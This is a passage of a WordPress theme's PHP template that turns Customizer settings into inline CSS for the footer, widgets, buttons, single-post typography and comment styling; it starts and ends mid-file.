            .footer-subscribe input[type="email"]::-moz-placeholder { color: <?php echo get_theme_mod( 'penci_footer_signup_email_text_color' ); ?>; }
            .footer-subscribe input[type="email"]:-ms-input-placeholder {color: <?php echo get_theme_mod( 'penci_footer_signup_email_text_color' ); ?>;}
            .footer-subscribe input[type="email"]::-ms-input-placeholder {color: <?php echo get_theme_mod( 'penci_footer_signup_email_text_color' ); ?>;}
            .footer-subscribe input[type="text"]::-webkit-input-placeholder { color: <?php echo get_theme_mod( 'penci_footer_signup_email_text_color' ); ?>; }
            .footer-subscribe input[type="text"]:-moz-placeholder { color: <?php echo get_theme_mod( 'penci_footer_signup_email_text_color' ); ?>; }
            .footer-subscribe input[type="text"]::-moz-placeholder { color: <?php echo get_theme_mod( 'penci_footer_signup_email_text_color' ); ?>; }
            .footer-subscribe input[type="text"]:-ms-input-placeholder {color: <?php echo get_theme_mod( 'penci_footer_signup_email_text_color' ); ?>;}
            .footer-subscribe input[type="text"]::-ms-input-placeholder {color: <?php echo get_theme_mod( 'penci_footer_signup_email_text_color' ); ?>;}
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_signup_button_bg' ) ): ?>
            .footer-subscribe .widget .mc4wp-form input[type="submit"] { background-color: <?php echo get_theme_mod( 'penci_footer_signup_button_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_signup_button_bg_hover' ) ): ?>
            .footer-subscribe .widget .mc4wp-form input[type="submit"]:hover { background-color: <?php echo get_theme_mod( 'penci_footer_signup_button_bg_hover' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_signup_button_text' ) ): ?>
            .footer-subscribe .widget .mc4wp-form input[type="submit"] { color: <?php echo get_theme_mod( 'penci_footer_signup_button_text' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_signup_button_text_hover' ) ): ?>
            .footer-subscribe .widget .mc4wp-form input[type="submit"]:hover { color: <?php echo get_theme_mod( 'penci_footer_signup_button_text_hover' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_widget_area_bg' ) ): ?>
            #widget-area { background-color: <?php echo get_theme_mod( 'penci_footer_widget_area_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_widget_area_border' ) ): ?>
            #widget-area { border-color: <?php echo get_theme_mod( 'penci_footer_widget_area_border' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_widget_area_text_color' ) ): ?>
            .footer-widget-wrapper, .footer-widget-wrapper .widget.widget_categories ul li, .footer-widget-wrapper .widget.widget_archive ul li,  .footer-widget-wrapper .widget input[type="text"], .footer-widget-wrapper .widget input[type="email"], .footer-widget-wrapper .widget input[type="date"], .footer-widget-wrapper .widget input[type="number"], .footer-widget-wrapper .widget input[type="search"] { color: <?php echo get_theme_mod( 'penci_footer_widget_area_text_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_widget_area_list_border' ) ): ?>
            .footer-widget-wrapper .widget ul li, .footer-widget-wrapper .widget ul ul, .footer-widget-wrapper .widget input[type="text"], .footer-widget-wrapper .widget input[type="email"], .footer-widget-wrapper .widget input[type="date"], .footer-widget-wrapper .widget input[type="number"],
            .footer-widget-wrapper .widget input[type="search"] { border-color: <?php echo get_theme_mod( 'penci_footer_widget_area_list_border' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_widget_title_center' ) ): ?>
            .footer-widget-wrapper .widget .widget-title { text-align: center; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_widget_color' ) ): ?>
            .footer-widget-wrapper .widget .widget-title { color: <?php echo get_theme_mod( 'penci_footer_widget_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_widget_title_border_color' ) ): ?>
            .footer-widget-wrapper .widget .widget-title .inner-arrow { border-color: <?php echo get_theme_mod( 'penci_footer_widget_title_border_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_widget_title_border_width' ) ): ?>
            .footer-widget-wrapper .widget .widget-title .inner-arrow { border-bottom-width: <?php echo get_theme_mod( 'penci_footer_widget_title_border_width' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_widget_accent_color' ) ): ?>
            .footer-widget-wrapper a, .footer-widget-wrapper .widget ul.side-newsfeed li .side-item .side-item-text h4 a, .footer-widget-wrapper .widget a, .footer-widget-wrapper .widget-social a i, .footer-widget-wrapper .widget-social a span, .footer-widget-wrapper .widget ul.side-newsfeed li .side-item .side-item-text .side-item-meta a{ color: <?php echo get_theme_mod( 'penci_footer_widget_accent_color' ); ?>; }
            .footer-widget-wrapper .widget-social a:hover i{ color: #fff; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_widget_accent_hover_color' ) ): ?>
            .footer-widget-wrapper .penci-tweets-widget-content .icon-tweets, .footer-widget-wrapper .penci-tweets-widget-content .tweet-intents a, .footer-widget-wrapper .penci-tweets-widget-content .tweet-intents span:after, .footer-widget-wrapper .widget ul.side-newsfeed li .side-item
            .side-item-text h4 a:hover, .footer-widget-wrapper .widget a:hover, .footer-widget-wrapper .widget-social a:hover span, .footer-widget-wrapper a:hover, .footer-widget-wrapper .widget-social.remove-circle a:hover i, .footer-widget-wrapper .widget ul.side-newsfeed li .side-item .side-item-text .side-item-meta a:hover{ color: <?php echo get_theme_mod( 'penci_footer_widget_accent_hover_color' ); ?>; }
            .footer-widget-wrapper .widget .tagcloud a:hover, .footer-widget-wrapper .widget-social a:hover i, .footer-widget-wrapper .mc4wp-form input[type="submit"]:hover, .footer-widget-wrapper .widget input[type="submit"]:hover,.footer-widget-wrapper .penci-user-logged-in .penci-user-action-links a:hover, .footer-widget-wrapper .widget button[type="submit"]:hover { color: #fff; background-color: <?php echo get_theme_mod( 'penci_footer_widget_accent_hover_color' ); ?>; border-color: <?php echo get_theme_mod( 'penci_footer_widget_accent_hover_color' ); ?>; }
            .footer-widget-wrapper .about-widget .about-me-heading:before { border-color: <?php echo get_theme_mod( 'penci_footer_widget_accent_hover_color' ); ?>; }
            .footer-widget-wrapper .penci-tweets-widget-content .tweet-intents-inner:before, .footer-widget-wrapper .penci-tweets-widget-content .tweet-intents-inner:after { background-color: <?php echo get_theme_mod( 'penci_footer_widget_accent_hover_color' ); ?>; }
            .footer-widget-wrapper .penci-owl-carousel.penci-tweets-slider .penci-owl-dots .penci-owl-dot.active span, .footer-widget-wrapper .penci-owl-carousel.penci-tweets-slider .penci-owl-dots .penci-owl-dot:hover span {  border-color: <?php echo get_theme_mod( 'penci_footer_widget_accent_hover_color' ); ?>;  background: <?php echo get_theme_mod( 'penci_footer_widget_accent_hover_color' ); ?>;  }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_icon_color' ) ): ?>
            ul.footer-socials li a i { color: <?php echo get_theme_mod( 'penci_footer_icon_color' ); ?>; border-color: <?php echo get_theme_mod( 'penci_footer_icon_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_icon_hover_color' ) ): ?>
            ul.footer-socials li a:hover i { background-color: <?php echo get_theme_mod( 'penci_footer_icon_hover_color' ); ?>; border-color: <?php echo get_theme_mod( 'penci_footer_icon_hover_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_icon_hover_icon_color' ) ): ?>
            ul.footer-socials li a:hover i { color: <?php echo get_theme_mod( 'penci_footer_icon_hover_icon_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_social_text_color' ) ): ?>
            ul.footer-socials li a span { color: <?php echo get_theme_mod( 'penci_footer_social_text_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_social_hover_text_color' ) ): ?>
            ul.footer-socials li a:hover span { color: <?php echo get_theme_mod( 'penci_footer_social_hover_text_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_social_border_color' ) ): ?>
            .footer-socials-section, .penci-footer-social-moved{ border-color: <?php echo get_theme_mod( 'penci_footer_social_border_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'footer_instagram_border_color' ) ): ?>
            .footer-instagram h4.footer-instagram-title{ border-color: <?php echo get_theme_mod( 'footer_instagram_border_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_instagram_title_color' ) ): ?>
            .footer-instagram h4.footer-instagram-title{ color: <?php echo get_theme_mod( 'penci_footer_instagram_title_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_copyright_bg_color' ) ): ?>
            #footer-section, .penci-footer-social-moved{ background-color: <?php echo get_theme_mod( 'penci_footer_copyright_bg_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_social_bgcolor' ) ): ?>
            .penci-footer-social-moved{ background-color: <?php echo get_theme_mod( 'penci_footer_social_bgcolor' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_menu_color' ) ): ?>
            #footer-section .footer-menu li a { color: <?php echo get_theme_mod( 'penci_footer_menu_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_menu_color_hover' ) ): ?>
            #footer-section .footer-menu li a:hover { color: <?php echo get_theme_mod( 'penci_footer_menu_color_hover' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_copyright_text_color' ) ): ?>
            #footer-section, #footer-copyright * { color: <?php echo get_theme_mod( 'penci_footer_copyright_text_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_go_top_color' ) ): ?>
            #footer-section .go-to-top i, #footer-section .go-to-top-parent span { color: <?php echo get_theme_mod( 'penci_footer_go_top_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_go_top_hover_color' ) ): ?>
            #footer-section .go-to-top:hover span, #footer-section .go-to-top:hover i { color: <?php echo get_theme_mod( 'penci_footer_go_top_hover_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_go_top_float_color' ) ): ?>
            .penci-go-to-top-floating { background-color: <?php echo get_theme_mod( 'penci_footer_go_top_float_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_go_top_float_icon_color' ) ): ?>
            .penci-go-to-top-floating { color: <?php echo get_theme_mod( 'penci_footer_go_top_float_icon_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_footer_copyright_accent_color' ) ): ?>
            #footer-section a { color: <?php echo get_theme_mod( 'penci_footer_copyright_accent_color' ); ?>; }
		<?php endif; ?>
		<?php echo penci_renders_css( '.footer-instagram h4.footer-instagram-title > span::before,.footer-instagram.penci-insta-title-overlay h4.footer-instagram-title > span::before,.footer-instagram h4.footer-instagram-title span, .footer-instagram.penci-insta-title-overlay h4.footer-instagram-title > span, .footer-instagram.penci-insta-title-overlay h4.footer-instagram-title > span > span', 'penci_footer_insta_title' ); ?>
		<?php if ( get_theme_mod( 'penci_single_accent_color' ) ): ?>
            .comment-content a, .container-single .post-entry a, .container-single .format-post-box .dt-special a:hover, .container-single .author-quote span, .container-single .author-post span a:hover, .post-entry blockquote:before, .post-entry blockquote cite, .post-entry blockquote .author, .wpb_text_column blockquote:before, .wpb_text_column blockquote cite, .wpb_text_column blockquote .author, .post-pagination a:hover, .author-content h5 a:hover, .author-content .author-social:hover, .item-related h3 a:hover, .container-single .format-post-box .post-format-icon i, .container.penci-breadcrumb.single-breadcrumb span a:hover,.container.penci-breadcrumb.single-breadcrumb a:hover, .penci_list_shortcode li:before, .penci-dropcap-box-outline, .penci-dropcap-circle-outline, .penci-dropcap-regular, .penci-dropcap-bold, .header-standard .post-box-meta-single .author-post span a:hover{ color: <?php echo get_theme_mod( 'penci_single_accent_color' ); ?>; }
            .container-single .standard-content-special .format-post-box, ul.slick-dots li button:hover, ul.slick-dots li.slick-active button, .penci-dropcap-box-outline, .penci-dropcap-circle-outline { border-color: <?php echo get_theme_mod( 'penci_single_accent_color' ); ?>; }
            ul.slick-dots li button:hover, ul.slick-dots li.slick-active button, #respond h3.comment-reply-title span:before, #respond h3.comment-reply-title span:after, .post-box-title:before, .post-box-title:after, .container-single .author-quote span:before, .container-single .author-quote
            span:after, .post-entry blockquote .author span:after, .post-entry blockquote .author span:before, .post-entry ul li:before, #respond #submit:hover,
            div.wpforms-container .wpforms-form.wpforms-form input[type=submit]:hover, div.wpforms-container .wpforms-form.wpforms-form button[type=submit]:hover, div.wpforms-container .wpforms-form.wpforms-form .wpforms-page-button:hover,
            .wpcf7 input[type="submit"]:hover, .widget_wysija input[type="submit"]:hover, .post-entry.blockquote-style-2 blockquote:before,.tags-share-box.tags-share-box-s2 .post-share-plike, .penci-dropcap-box, .penci-dropcap-circle, .penci-ldspinner > div{  background-color: <?php echo get_theme_mod( 'penci_single_accent_color' ); ?>; }
            .container-single .post-entry .post-tags a:hover { color: #fff; border-color: <?php echo get_theme_mod( 'penci_single_accent_color' ); ?>; background-color: <?php echo get_theme_mod( 'penci_single_accent_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_buttons_bg' ) ): ?>
            .penci-user-logged-in .penci-user-action-links a, .penci-login-register input[type="submit"], .widget input[type="submit"], .widget button[type="submit"], .contact-form input[type=submit], #respond #submit, .wpcf7 input[type="submit"], .widget_wysija input[type="submit"], div.wpforms-container .wpforms-form.wpforms-form input[type=submit], div.wpforms-container .wpforms-form.wpforms-form button[type=submit], div.wpforms-container .wpforms-form.wpforms-form .wpforms-page-button, .mc4wp-form input[type=submit]{ background-color: <?php echo get_theme_mod( 'penci_buttons_bg' ); ?>; }
            .pcdark-mode .penci-user-logged-in .penci-user-action-links a, .pcdark-mode .penci-login-register input[type="submit"], .pcdark-mode .widget input[type="submit"], .pcdark-mode .widget button[type="submit"], .pcdark-mode .contact-form input[type=submit], .pcdark-mode #respond #submit, .pcdark-mode .wpcf7 input[type="submit"], .pcdark-mode .widget_wysija input[type="submit"], .pcdark-mode div.wpforms-container .wpforms-form.wpforms-form input[type=submit], .pcdark-mode div.wpforms-container .wpforms-form.wpforms-form button[type=submit], .pcdark-mode div.wpforms-container .wpforms-form.wpforms-form .wpforms-page-button, .pcdark-mode .mc4wp-form input[type=submit]{ background-color: <?php echo get_theme_mod( 'penci_buttons_bg' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_buttons_color' ) ): ?>
            .penci-user-logged-in .penci-user-action-links a, .penci-login-register input[type="submit"], .widget input[type="submit"], .widget button[type="submit"], .contact-form input[type=submit], #respond #submit, .wpcf7 input[type="submit"], .widget_wysija input[type="submit"], div.wpforms-container .wpforms-form.wpforms-form input[type=submit], div.wpforms-container .wpforms-form.wpforms-form button[type=submit], div.wpforms-container .wpforms-form.wpforms-form .wpforms-page-button, .mc4wp-form input[type=submit]{ color: <?php echo get_theme_mod( 'penci_buttons_color' ); ?>; }
            .pcdark-mode .penci-user-logged-in .penci-user-action-links a, .pcdark-mode .penci-login-register input[type="submit"], .pcdark-mode .widget input[type="submit"], .pcdark-mode .widget button[type="submit"], .pcdark-mode .contact-form input[type=submit], .pcdark-mode #respond #submit, .pcdark-mode .wpcf7 input[type="submit"], .pcdark-mode .widget_wysija input[type="submit"], .pcdark-mode div.wpforms-container .wpforms-form.wpforms-form input[type=submit], .pcdark-mode div.wpforms-container .wpforms-form.wpforms-form button[type=submit], .pcdark-mode div.wpforms-container .wpforms-form.wpforms-form .wpforms-page-button, .pcdark-mode .mc4wp-form input[type=submit]{ color: <?php echo get_theme_mod( 'penci_buttons_color' ); ?>; }
            .wp-block-search .wp-block-search__button svg{ fill: <?php echo get_theme_mod( 'penci_buttons_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_buttons_bghover' ) ): ?>
            .penci-user-logged-in .penci-user-action-links a:hover, .penci-login-register input[type="submit"]:hover, .footer-widget-wrapper .widget button[type="submit"]:hover,.footer-widget-wrapper .mc4wp-form input[type="submit"]:hover, .footer-widget-wrapper .widget input[type="submit"]:hover,.widget input[type="submit"]:hover, .widget button[type="submit"]:hover, .contact-form input[type=submit]:hover, #respond #submit:hover, .wpcf7 input[type="submit"]:hover, .widget_wysija input[type="submit"]:hover, div.wpforms-container .wpforms-form.wpforms-form input[type=submit]:hover, div.wpforms-container .wpforms-form.wpforms-form button[type=submit]:hover, div.wpforms-container .wpforms-form.wpforms-form .wpforms-page-button:hover, .mc4wp-form input[type=submit]:hover{ background-color: <?php echo get_theme_mod( 'penci_buttons_bghover' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_buttons_colorhver' ) ): ?>
            .penci-user-logged-in .penci-user-action-links a:hover, .penci-login-register input[type="submit"]:hover, .footer-widget-wrapper .widget button[type="submit"]:hover,.footer-widget-wrapper .mc4wp-form input[type="submit"]:hover, .footer-widget-wrapper .widget input[type="submit"]:hover,.widget input[type="submit"]:hover, .widget button[type="submit"]:hover, .contact-form input[type=submit]:hover, #respond #submit:hover, .wpcf7 input[type="submit"]:hover, .widget_wysija input[type="submit"]:hover, div.wpforms-container .wpforms-form.wpforms-form input[type=submit]:hover, div.wpforms-container .wpforms-form.wpforms-form button[type=submit]:hover, div.wpforms-container .wpforms-form.wpforms-form .wpforms-page-button:hover, .mc4wp-form input[type=submit]:hover{ color: <?php echo get_theme_mod( 'penci_buttons_colorhver' ); ?>; }
            .wp-block-search .wp-block-search__button:hover svg{ fill: <?php echo get_theme_mod( 'penci_buttons_colorhver' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_loadnp_ldscolor' ) ): ?>
            .penci-ldspinner > div{ background-color: <?php echo get_theme_mod( 'penci_loadnp_ldscolor' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_cat_color' ) ): ?>
            .container-single .penci-standard-cat .cat > a.penci-cat-name { color: <?php echo get_theme_mod( 'penci_single_cat_color' ); ?>; }
            .container-single .penci-standard-cat .cat:before, .container-single .penci-standard-cat .cat:after { background-color: <?php echo get_theme_mod( 'penci_single_cat_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_progress_color' ) ): ?>
            .penci-header-wrap .pcscrollbar,.pencihd-iscroll-bar { --pcaccent-cl: <?php echo get_theme_mod( 'penci_single_progress_color' ); ?>; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_off_uppercase_post_title' ) ): ?>
            .container-single .single-post-title { text-transform: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_title_font_size' ) ): ?>
            @media only screen and (min-width: 769px){  .container-single .single-post-title { font-size: <?php echo get_theme_mod( 'penci_single_title_font_size' ); ?>px; }  }
		<?php endif; ?>

		<?php if ( get_theme_mod( 'penci_dis_jarallax_single_mb' ) ): ?>
            @media only screen and (max-width: 768px){ .single .penci-jarallax {padding-top: 0 !important;} .single .penci-jarallax .jarallax-container-fix, .single .penci-jarallax > div{ position: relative !important; } .single .penci-jarallax .jarallax-img{ position: relative !important; width: 100% !important; height: auto !important; margin-top: 0 !important; transform: none !important; } }
		<?php endif; ?>

		<?php
		if ( 'style-3' == $single_style && get_theme_mod( 'psingle_title_size_s3' ) ) {
			echo '@media only screen and (min-width: 768px){  .container-single.penci-single-style-3 .single-post-title { font-size: ' . get_theme_mod( 'psingle_title_size_s3' ) . 'px; }  }';
		} elseif ( 'style-4' == $single_style && get_theme_mod( 'psingle_title_size_s4' ) ) {
			echo '@media only screen and (min-width: 768px){  .container-single.penci-single-style-4 .single-post-title { font-size: ' . get_theme_mod( 'psingle_title_size_s4' ) . 'px; }  }';
		}
		if ( 'style-5' == $single_style && get_theme_mod( 'psingle_title_size_s5' ) ) {
			echo '@media only screen and (min-width: 768px){  .container-single.penci-single-style-5 .single-post-title { font-size: ' . get_theme_mod( 'psingle_title_size_s5' ) . 'px; }  }';
		}
		if ( 'style-6' == $single_style && get_theme_mod( 'psingle_title_size_s6' ) ) {
			echo '@media only screen and (min-width: 768px){  .container-single.penci-single-style-6 .single-post-title { font-size: ' . get_theme_mod( 'psingle_title_size_s6' ) . 'px; }  }';
		}
		if ( 'style-7' == $single_style && get_theme_mod( 'psingle_title_size_s7' ) ) {
			echo '@media only screen and (min-width: 768px){  .container-single.penci-single-style-7 .single-post-title { font-size: ' . get_theme_mod( 'psingle_title_size_s7' ) . 'px; }  }';
		}
		if ( 'style-8' == $single_style && get_theme_mod( 'psingle_title_size_s8' ) ) {
			echo '@media only screen and (min-width: 768px){  .container-single.penci-single-style-8 .single-post-title { font-size: ' . get_theme_mod( 'psingle_title_size_s8' ) . 'px; }  }';
		}
		if ( 'style-9' == $single_style && get_theme_mod( 'psingle_title_size_s9' ) ) {
			echo '@media only screen and (min-width: 768px){  .container-single.penci-single-style-9 .single-post-title { font-size: ' . get_theme_mod( 'psingle_title_size_s9' ) . 'px; }  }';
		}
		if ( 'style-10' == $single_style && get_theme_mod( 'psingle_title_size_s10' ) ) {
			echo '@media only screen and (min-width: 768px){  .container-single.penci-single-style-10 .single-post-title { font-size: ' . get_theme_mod( 'psingle_title_size_s10' ) . 'px; }  }';
		}
		?>
		<?php if ( get_theme_mod( 'penci_single_title_font_msize' ) ): ?>
            @media only screen and (max-width: 768px){ .container-single .single-post-title, .container-single.penci-single-style-3 .single-post-title, .container-single.penci-single-style-4 .single-post-title, .container-single.penci-single-style-5 .single-post-title, .container-single.penci-single-style-6 .single-post-title, .container-single.penci-single-style-7 .single-post-title, .container-single.penci-single-style-8 .single-post-title, .container-single.penci-single-style-9 .single-post-title, .container-single.penci-single-style-10 .single-post-title{ font-size: <?php echo get_theme_mod( 'penci_single_title_font_msize' ); ?>px; }  }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_subtitle_font_size' ) ): ?>
            @media only screen and (min-width: 769px){ .container-single .header-standard h2.penci-psub-title, .container-single h2.penci-psub-title{ font-size: <?php echo get_theme_mod( 'penci_single_subtitle_font_size' ); ?>px; }  }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_subtitle_font_msize' ) ): ?>
            @media only screen and (max-width: 768px){ .container-single .header-standard h2.penci-psub-title, .container-single h2.penci-psub-title{ font-size: <?php echo get_theme_mod( 'penci_single_subtitle_font_msize' ); ?>px; }  }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_disable_default_fonts' ) && get_theme_mod( 'penci_disable_all_fonts' ) ): ?>
            .post-entry blockquote:before, .wpb_text_column blockquote:before, .woocommerce .page-description blockquote:before, .woocommerce div.product .entry-summary div[itemprop="description"] blockquote:before, .woocommerce div.product .woocommerce-tabs #tab-description blockquote:before, .woocommerce-product-details__short-description blockquote:before, .format-post-box .post-format-icon i.fa-quote-left:before { font-family: 'FontAwesome'; content: '\f10d'; font-size: 30px; left: 2px; top: 0px; font-weight: normal; }
            .penci-fawesome-ver5 .post-entry blockquote:before, .penci-fawesome-ver5 .wpb_text_column blockquote:before, .penci-fawesome-ver5 .woocommerce .page-description blockquote:before, .penci-fawesome-ver5 .woocommerce div.product .entry-summary div[itemprop="description"] blockquote:before, .penci-fawesome-ver5 .woocommerce div.product .woocommerce-tabs #tab-description blockquote:before, .penci-fawesome-ver5 .woocommerce-product-details__short-description blockquote:before, .penci-fawesome-ver5 .format-post-box .post-format-icon i.fa-quote-left:before{ font-family: 'Font Awesome 5 Free'; font-weight: 900; }
		<?php endif; ?>
		<?php
		for ( $x = 1; $x < 7; $x ++ ) {
			echo penci_renders_css( '.post-entry h' . $x . ', .wpb_text_column h' . $x . ', .elementor-text-editor h' . $x . ', .woocommerce .page-description h' . $x, 'penci_single_title_h' . $x . '_size' );
		}
		?>
		<?php echo penci_renders_css( '.post-entry, .post-entry p, .wpb_text_column p, .woocommerce .page-description p', 'penci_single_title_p_size' ); ?>
		<?php if ( get_theme_mod( 'penci_single_blockquote_fsize' ) ): ?>
			.post-entry.blockquote-style-3 blockquote:not(.wp-block-quote) p,
			.post-entry.blockquote-style-4 blockquote:not(.wp-block-quote) p,
			.post-entry.blockquote-style-5 blockquote:not(.wp-block-quote) p,
            .post-entry blockquote.wp-block-quote p, .wpb_text_column blockquote.wp-block-quote p, .post-entry blockquote, .post-entry blockquote p, .wpb_text_column blockquote, .wpb_text_column blockquote p, .woocommerce .page-description blockquote, .woocommerce .page-description blockquote p{ font-size: <?php echo get_theme_mod( 'penci_single_blockquote_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_blockquoteauthor_fsize' ) ): ?>
            .post-entry blockquote cite, .post-entry blockquote .author, .wpb_text_column blockquote cite, .wpb_text_column blockquote .author, .woocommerce .page-description blockquote cite, .woocommerce .page-description blockquote .author, .post-entry blockquote.wp-block-quote cite, .wpb_text_column blockquote.wp-block-quote cite{ font-size: <?php echo get_theme_mod( 'penci_single_blockquoteauthor_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_cat_font_size' ) ): ?>
            .container-single .penci-standard-cat .cat > a.penci-cat-name{ font-size: <?php echo get_theme_mod( 'penci_single_cat_font_size' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_meta_font_size' ) ): ?>
            .post-box-meta-single, .tags-share-box .single-comment-o{ font-size: <?php echo get_theme_mod( 'penci_single_meta_font_size' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_tags_font_size' ) ): ?>
            .container-single #main .post-entry .post-tags a{ font-size: <?php echo get_theme_mod( 'penci_single_tags_font_size' ); ?>px !important; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_single_share_box_fsize' ) ): ?>
            .post-share a, .post-share .count-number-like, .tags-share-box.tags-share-box-2_3 .penci-social-share-text{ font-size: <?php echo get_theme_mod( 'penci_single_share_box_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_authorbio_name_fsize' ) ): ?>
            .author-content h5{ font-size: <?php echo get_theme_mod( 'penci_authorbio_name_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_bio_upper_name' ) ): ?>
            .author-content h5{ text-transform: none; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_authorbio_desc_fsize' ) ): ?>
            .author-content p, .author-content{ font-size: <?php echo get_theme_mod( 'penci_authorbio_desc_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_authorbio_social_fsize' ) ): ?>
            .author-content .author-social{ font-size: <?php echo get_theme_mod( 'penci_authorbio_social_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_prevnextpost_fsize' ) ): ?>
            .post-pagination span{ font-size: <?php echo get_theme_mod( 'penci_prevnextpost_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_prevnextpost_title_fsize' ) ): ?>
            .post-pagination h5{ font-size: <?php echo get_theme_mod( 'penci_prevnextpost_title_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rltcomment_heading_fsize' ) ): ?>
            #respond h3.comment-reply-title span, .post-box-title{ font-size: <?php echo get_theme_mod( 'penci_rltcomment_heading_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rltcomment_post_title_fsize' ) ): ?>
            .post-related .item-related h3 a{ font-size: <?php echo get_theme_mod( 'penci_rltcomment_post_title_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rltcomment_post_date_fsize' ) ): ?>
            .post-related .item-related span.date{ font-size: <?php echo get_theme_mod( 'penci_rltcomment_post_date_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rltcomment_cmauthor_fsize' ) ): ?>
            .thecomment .comment-text .penci-review-author span.author,.thecomment .comment-text span.author, .thecomment .comment-text span.author a{ font-size: <?php echo get_theme_mod( 'penci_rltcomment_cmauthor_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rltcomment_rating_fsize' ) ): ?>
            .penci-review-summary .review_rated{ font-size: <?php echo get_theme_mod( 'penci_rltcomment_rating_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rltcomment_ratingt_fsize' ) ): ?>
            .penci-review-summary .pccm_rating_title{ font-size: <?php echo get_theme_mod( 'penci_rltcomment_ratingt_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rltcomment_cmdate_fsize' ) ): ?>
            .thecomment .comment-text span.date{ font-size: <?php echo get_theme_mod( 'penci_rltcomment_cmdate_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rltcomment_cmcontent_fsize' ) ): ?>
            .thecomment .comment-content, .thecomment .comment-content p{ font-size: <?php echo get_theme_mod( 'penci_rltcomment_cmcontent_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rltcomment_cmreplyedit_fsize' ) ): ?>
            .post-comments span.reply a{ font-size: <?php echo get_theme_mod( 'penci_rltcomment_cmreplyedit_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rltcomment_input_fsize' ) ): ?>
            #respond input, #respond textarea{ font-size: <?php echo get_theme_mod( 'penci_rltcomment_input_fsize' ); ?>px; }
		<?php endif; ?>
		<?php if ( get_theme_mod( 'penci_rltcomment_submit_fsize' ) ): ?>
